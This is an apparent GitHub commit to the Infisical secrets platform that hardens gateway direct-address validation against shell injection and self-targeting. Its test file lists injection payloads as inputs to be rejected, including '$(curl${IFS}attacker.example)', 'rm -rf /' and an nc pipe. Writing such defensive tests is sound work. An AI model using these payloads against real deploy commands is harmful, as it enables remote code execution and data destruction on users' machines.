Infisical is the open-source platform for securing secrets, certificates, access, and AI Agents.
TypeScript acmeagentsai-agentscertificate-managementdevsecopsenvironment-variableskubernetesopen-sourcepampkipostgresprivate-caprivileged-access-managementsecret-managementsecret-managersecretssecrets-managementsecuritysecurity-toolsvault
fix(gateways): harden direct address validation
bernie-gb2c403e3264f
diff --git a/backend/src/ee/routes/v2/gateway-router.ts b/backend/src/ee/routes/v2/gateway-router.tsindex 68d1858ad1..dfc1f08245 100644--- a/backend/src/ee/routes/v2/gateway-router.ts+++ b/backend/src/ee/routes/v2/gateway-router.ts@@ -81,7 +81,7 @@ export const registerGatewayV2Router = async (server: FastifyZodProvider) => {type: EventType.GATEWAY_ENROLL,metadata: {gatewayId: registered.gatewayId,- name: req.body.name,+ name: registered.gatewayName,transports: gatewayTransports(registered),directAddress: registered.directAddress,relayName: req.body.relayNamediff --git a/backend/src/ee/routes/v3/gateway-router.ts b/backend/src/ee/routes/v3/gateway-router.tsindex a4d7d1d6fb..9160a8b88a 100644--- a/backend/src/ee/routes/v3/gateway-router.ts+++ b/backend/src/ee/routes/v3/gateway-router.ts@@ -765,6 +765,7 @@ export const registerGatewayV3Router = async (server: FastifyZodProvider) => {type: EventType.GATEWAY_ENROLL,metadata: {gatewayId: connected.gatewayId,+ name: connected.gatewayName,transports: gatewayTransports(connected),directAddress: connected.directAddress,relayName: req.body.relayNamediff --git a/backend/src/ee/services/audit-log/audit-log-types.ts b/backend/src/ee/services/audit-log/audit-log-types.tsindex 663c1369f9..2362aa4b7b 100644--- a/backend/src/ee/services/audit-log/audit-log-types.ts+++ b/backend/src/ee/services/audit-log/audit-log-types.ts@@ -6991,8 +6991,7 @@ interface GatewayEnrollEvent {type: EventType.GATEWAY_ENROLL;metadata: {gatewayId: string;- // Absent on the connect path, where the gateway authenticates by id and sends no name.- name?: string;+ name: string;// Which transports the gateway registered, and the address the platform will dial for a direct// one. Recorded on every registration so a switch between transports is visible after the fact.transports: ("direct" | "relay")[];diff --git a/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts b/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.tsindex 455b44d8b5..23e51b2120 100644--- a/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts+++ b/backend/src/ee/services/dynamic-secret/dynamic-secret-fns.ts@@ -6,23 +6,10 @@ import { BadRequestError } from "@app/lib/errors";import { isPrivateIp } from "@app/lib/ip/ipRange";import { getDbConnectionHost } from "@app/lib/knex";-export const verifyHostInputValidity = async ({- host,- isDynamicSecret,- isGateway,- preResolvedIps-}: {- host: string;- isDynamicSecret: boolean;- isGateway?: boolean;- preResolvedIps?: string[];-}) => {+// The services Infisical itself runs on. A user-supplied host that resolves to one of these would+// point Infisical at its own database, cache, or log store.+const getReservedIps = async () => {const appCfg = getConfig();-- if (appCfg.isDevelopmentMode || appCfg.isTestMode) return [host];-- if (isGateway) return [host];-const reservedHosts = [appCfg.DB_HOST || getDbConnectionHost(appCfg.DB_CONNECTION_URI)].concat((appCfg.DB_READ_REPLICAS || []).map((el) => getDbConnectionHost(el.DB_CONNECTION_URI)),getDbConnectionHost(appCfg.REDIS_URL),@@ -30,7 +17,6 @@ export const verifyHostInputValidity = async ({getDbConnectionHost(appCfg.AUDIT_LOGS_DB_CONNECTION_URI));- // get host db ipconst exclusiveIps: string[] = [];for await (const el of reservedHosts) {if (el) {@@ -42,6 +28,58 @@ export const verifyHostInputValidity = async ({}}}+ return exclusiveIps;+};++// For hosts that are legitimately private, such as a gateway's own listen address, where the+// private-IP block in verifyHostInputValidity would reject the entire feature. Infisical's own+// infrastructure is still off limits: a gateway naming it would have the platform dial itself.+export const assertHostNotInfisicalInfrastructure = async ({ host }: { host: string }) => {+ const appCfg = getConfig();+ if (appCfg.isDevelopmentMode || appCfg.isTestMode) return;++ const exclusiveIps = await getReservedIps();+ if (!exclusiveIps.length) return;++ let hostIps: string[];+ if (net.isIP(host)) {+ hostIps = [host];+ } else {+ try {+ hostIps = (await dns.lookup(host, { all: true })).map(({ address }) => address);+ } catch {+ // An address that does not resolve yet is allowed through: a gateway is often registered+ // before its DNS record exists, and an unresolvable host cannot reach anything either way.+ return;+ }+ }++ if (hostIps.some((el) => exclusiveIps.includes(el))) {+ throw new BadRequestError({+ message:+ "The host belongs to a service that is in-use by Infisical, such as the Infisical database or Redis instance. You cannot use hosts that are in-use by Infisical."+ });+ }+};++export const verifyHostInputValidity = async ({+ host,+ isDynamicSecret,+ isGateway,+ preResolvedIps+}: {+ host: string;+ isDynamicSecret: boolean;+ isGateway?: boolean;+ preResolvedIps?: string[];+}) => {+ const appCfg = getConfig();++ if (appCfg.isDevelopmentMode || appCfg.isTestMode) return [host];++ if (isGateway) return [host];++ const exclusiveIps = await getReservedIps();const normalizedHost = host.split(":")[0].toLowerCase();let inputHostIps: string[];diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts b/backend/src/ee/services/gateway-v2/gateway-v2-constants.tsindex b1a5e33d02..e37d0ebee6 100644--- a/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts+++ b/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts@@ -1,3 +1,9 @@+import net from "node:net";++import RE2 from "re2";++import { BadRequestError } from "@app/lib/errors";+export const HEARTBEAT_BUFFER_SECONDS = 30;export const DEFAULT_HEARTBEAT_TTL = 1800; // 30 minutes — fallback for old gateways that don't report their interval@@ -134,3 +140,59 @@ export const resolveClientTransports = ({gatewayHasTransport: Boolean(gateway.directAddress || gateway.relayId)};};++// A single DNS label: alphanumerics and inner hyphens, at most 63 characters.+export const DNS_LABEL_REGEX = new RE2(/^[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?$/);+const TRAILING_DOT_REGEX = new RE2(/\.$/);++// The URL parser alone accepts hostnames carrying shell syntax, such as `$(cmd).example.com`. The+// address is rendered into copy-and-run deploy commands, so the host is held to real DNS or IP+// syntax rather than to whatever the parser tolerates.+export const isValidDirectHost = (host: string) => {+ if (net.isIP(host)) return true;+ if (host.length > 253) return false;+ const labels = host.replace(TRAILING_DOT_REGEX, "").split(".");+ return labels.length > 0 && labels.every((label) => DNS_LABEL_REGEX.test(label));+};++export const parseDirectAddress = (address: string) => {+ // Errors never echo the address. It can arrive shaped like a connection string, and these+ // messages are logged and pasted into support threads.+ const invalidFormat = () =>+ new BadRequestError({+ message: "Gateway direct address must use the host:port format, such as gateway.internal:8443"+ });++ let parsed: URL;+ try {+ parsed = new URL(`tcp://${address}`);+ } catch {+ throw invalidFormat();+ }++ if (+ !parsed.hostname ||+ !parsed.port ||+ parsed.username ||+ parsed.password ||+ parsed.pathname ||+ parsed.search ||+ parsed.hash+ ) {+ throw invalidFormat();+ }++ const port = Number(parsed.port);+ if (!Number.isInteger(port) || port < 1 || port > 65535) {+ throw new BadRequestError({ message: "Gateway direct address must include a port from 1 to 65535" });+ }++ const host = parsed.hostname.startsWith("[") ? parsed.hostname.slice(1, -1) : parsed.hostname;+ if (!isValidDirectHost(host)) {+ throw new BadRequestError({+ message: "Gateway direct address host must be an IP address or a DNS hostname"+ });+ }++ return { host, port };+};diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-service.ts b/backend/src/ee/services/gateway-v2/gateway-v2-service.tsindex aa2c77578c..4fb60d5e5a 100644--- a/backend/src/ee/services/gateway-v2/gateway-v2-service.ts+++ b/backend/src/ee/services/gateway-v2/gateway-v2-service.ts@@ -4,6 +4,7 @@ import { ForbiddenError } from "@casl/ability";import * as x509 from "@peculiar/x509";import { OrganizationActionScope, OrgMembershipRole, OrgMembershipStatus, TRelays } from "@app/db/schemas";+import { assertHostNotInfisicalInfrastructure } from "@app/ee/services/dynamic-secret/dynamic-secret-fns";import { PgSqlLock } from "@app/keystore/keystore";import { getConfig } from "@app/lib/config/env";import { crypto } from "@app/lib/crypto";@@ -47,6 +48,7 @@ import {GATEWAY_ACTOR_OID,GATEWAY_ROUTING_INFO_OID,PAM_INFO_OID,+ parseDirectAddress,resolveClientTransports,resolveTransports} from "./gateway-v2-constants";@@ -57,35 +59,6 @@ import { TOrgGatewayConfigV2DALFactory } from "./org-gateway-config-v2-dal";// Temporary limit until gateway limiting is implemented at the relay levelconst MAX_GATEWAYS_PER_ORG = 50;-const parseDirectAddress = (address: string) => {- let parsed: URL;- try {- parsed = new URL(`tcp://${address}`);- } catch {- throw new BadRequestError({ message: `Gateway direct address "${address}" must use the host:port format` });- }-- if (- !parsed.hostname ||- !parsed.port ||- parsed.username ||- parsed.password ||- parsed.pathname ||- parsed.search ||- parsed.hash- ) {- throw new BadRequestError({ message: `Gateway direct address "${address}" must use the host:port format` });- }-- const port = Number(parsed.port);- if (!Number.isInteger(port) || port < 1 || port > 65535) {- throw new BadRequestError({ message: `Gateway direct address "${address}" must include a port from 1 to 65535` });- }-- const host = parsed.hostname.startsWith("[") ? parsed.hostname.slice(1, -1) : parsed.hostname;- return { host, port };-};-type TGatewayV2ServiceFactoryDep = {orgGatewayConfigV2DAL: Pick<TOrgGatewayConfigV2DALFactory, "findOne" | "create" | "transaction" | "findById">;kmsService: TKmsServiceFactory;@@ -788,6 +761,9 @@ export const gatewayV2ServiceFactory = ({return {gatewayId: gateway.id,+ // For the audit log. Not part of either route's response schema, so it is stripped on the way+ // out rather than becoming part of the API contract.+ gatewayName: gateway.name,directAddress: gateway.directAddress ?? undefined,relayHost: relayCredentials?.relayHost,pki: {@@ -826,7 +802,10 @@ export const gatewayV2ServiceFactory = ({if (getConfig().isCloud) {throw new BadRequestError({ message: "Direct gateway connections are not available on Infisical Cloud" });}- parseDirectAddress(directAddress);+ const { host } = parseDirectAddress(directAddress);+ // Checked here rather than at dial time: registration happens once per address change, while+ // a dial happens per connection, and this resolves DNS.+ await assertHostNotInfisicalInfrastructure({ host });}const orgCAs = await $getOrgCAs(orgId);@@ -1444,7 +1423,10 @@ export const gatewayV2ServiceFactory = ({if (getConfig().isCloud) {throw new BadRequestError({ message: "Direct gateway connections are not available on Infisical Cloud" });}- parseDirectAddress(directAddress);+ const { host } = parseDirectAddress(directAddress);+ // Checked here rather than at dial time: registration happens once per address change, while+ // a dial happens per connection, and this resolves DNS.+ await assertHostNotInfisicalInfrastructure({ host });}const orgCAs = await $getOrgCAs(orgId);diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.ts b/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.tsindex b1b809c657..ef38eae4a9 100644--- a/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.ts+++ b/backend/src/ee/services/gateway-v2/gateway-v2-transport.test.ts@@ -1,6 +1,7 @@import {HEARTBEAT_BUFFER_SECONDS,isTransportHealthy,+ parseDirectAddress,resolveClientTransports,resolveTransports} from "./gateway-v2-constants";@@ -198,3 +199,59 @@ describe("resolveClientTransports", () => {});});});++describe("parseDirectAddress", () => {+ test.each([+ ["gateway.internal:8443", "gateway.internal", 8443],+ ["gateway-1.corp.example.com:8443", "gateway-1.corp.example.com", 8443],+ ["10.0.4.7:8443", "10.0.4.7", 8443],+ ["[fd00::1]:8443", "fd00::1", 8443],+ ["localhost:8443", "localhost", 8443],+ ["gw.internal.:8443", "gw.internal.", 8443],+ ["gw.internal:1", "gw.internal", 1],+ ["gw.internal:65535", "gw.internal", 65535]+ ])("accepts %s", (address, host, port) => {+ expect(parseDirectAddress(address)).toEqual({ host, port });+ });++ // The address is interpolated into copy-and-run deploy commands, so a host carrying shell syntax+ // would execute on the machine of whoever pastes the command. The URL parser alone allows these.+ /* eslint-disable no-template-curly-in-string -- ${IFS} is literal payload text, not interpolation */+ test.each([+ "$(curl${IFS}attacker.example).x:8443",+ "foo$(curl${IFS}evil):8443",+ "foo`id`:8443",+ "$(id):8443",+ "gw;rm -rf /:8443",+ "gw&&curl x:8443",+ "gw|nc x 1:8443",+ "-leading.example.com:8443",+ "trailing-.example.com:8443",+ "under_score.example.com:8443"+ ])("rejects the shell-unsafe host in %s", (address) => {+ expect(() => parseDirectAddress(address)).toThrow();+ });+ /* eslint-enable no-template-curly-in-string */++ test.each([+ "gateway.internal",+ "gw.internal:0",+ "gw.internal:99999",+ ":8443",+ "gw.internal:8443/x",+ "gw.internal:8443?a=b"+ ])("rejects the malformed address %s", (address) => {+ expect(() => parseDirectAddress(address)).toThrow();+ });++ test("never echoes the address, which can arrive shaped like a connection string", () => {+ let message = "";+ try {+ parseDirectAddress("user:[email protected]:8443");+ } catch (err) {+ message = err instanceof Error ? err.message : String(err);+ }+ expect(message).not.toBe("");+ expect(message).not.toContain("hunter2");+ });+});diff --git a/backend/src/lib/gateway-v2/gateway-v2.ts b/backend/src/lib/gateway-v2/gateway-v2.tsindex cfa9c3b495..4d58756f88 100644--- a/backend/src/lib/gateway-v2/gateway-v2.ts+++ b/backend/src/lib/gateway-v2/gateway-v2.ts@@ -256,15 +256,18 @@ export const setupRelayServer = async ({const tunnelId = crypto.randomBytes(4).toString("hex");const hasRelayFallback = Boolean(directAddress && relayHost && relay);- const dialDirect = async () => {+ // The address is validated when the gateway registers it: host syntax and port range in+ // parseDirectAddress, and Infisical's own infrastructure ruled out by+ // assertHostNotInfisicalInfrastructure. Re-checking per connection would resolve DNS on every+ // dial, so nothing is validated here.+ const dialDirect = () => {const parsed = new URL(`tcp://${directAddress}`);const serverName = parsed.hostname.startsWith("[") ? parsed.hostname.slice(1, -1) : parsed.hostname;- const [targetHost] = await verifyHostInputValidity({- host: serverName,- isGateway: true,- isDynamicSecret: false+ return Promise.resolve({+ conn: net.connect({ host: serverName, port: Number(parsed.port) }),+ serverName,+ direct: true});- return { conn: net.connect({ host: targetHost, port: Number(parsed.port) }), serverName, direct: true };};const dialRelay = async () => {diff --git a/helm-charts/infisical-gateway/templates/_helpers.tpl b/helm-charts/infisical-gateway/templates/_helpers.tplindex f8718fcf55..9b113c67ab 100644--- a/helm-charts/infisical-gateway/templates/_helpers.tpl+++ b/helm-charts/infisical-gateway/templates/_helpers.tpl@@ -71,6 +71,11 @@ container port and the Service can never disagree with what the gateway actually{{- if or (eq $port $addr) (not (regexMatch "^[0-9]+$" $port)) -}}{{- fail (printf "gateway.listenAddress must be host:port, got %q" $addr) -}}{{- end -}}+{{- /* Same range the backend enforces, so an out-of-range port fails the render rather than the+ Kubernetes API. */ -}}+{{- if or (lt (int $port) 1) (gt (int $port) 65535) -}}+{{- fail (printf "gateway.listenAddress port must be between 1 and 65535, got %q" $port) -}}+{{- end -}}{{- $port -}}{{- end }}